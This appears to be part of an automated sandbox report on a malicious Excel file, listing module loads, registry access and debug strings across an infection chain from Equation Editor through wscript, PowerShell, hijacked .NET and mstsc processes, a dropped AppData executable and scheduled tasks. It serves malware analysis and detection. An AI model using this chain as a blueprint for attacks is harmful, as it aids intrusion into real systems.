Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: credui.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptui.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: PO.78NO9.xls

Static file information: File size 1095168 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

.NET source code contains potential unpacker

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000F.00000002.480635690.00000000023D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_regbrowsers.exe, aspnet_regbrowsers.exe, 00000016.00000002.512818584.00000000009E0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000001B.00000002.637891163.00000000021D0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000003.511016346.0000000001EE0000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000003.512113443.0000000002040000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637891163.0000000002350000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: aspnet_regbrowsers.pdb source: explorer.exe, 00000017.00000002.639143250.000000000878F000.00000004.80000000.00040000.00000000.sdmp, niLILOT.exe, 00000019.00000000.488929503.0000000000332000.00000020.00000001.01000000.0000000A.sdmp, mstsc.exe, 0000001B.00000002.638080396.00000000026CF000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 0000001B.00000002.637568604.000000000037D000.00000004.00000020.00020000.00000000.sdmp, niLILOT.exe.17.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: aspnet_regbrowsers.exe, 00000016.00000002.512368653.00000000008A0000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000001B.00000002.637776307.00000000008D0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BKsn.pdbSHA256z source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000F.00000002.480635690.00000000023D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.479528162.0000000000299000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000F.00000002.494192493.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000F.00000002.486232559.00000000041DA000.00000004.00000800.00020000.00000000.sdmp
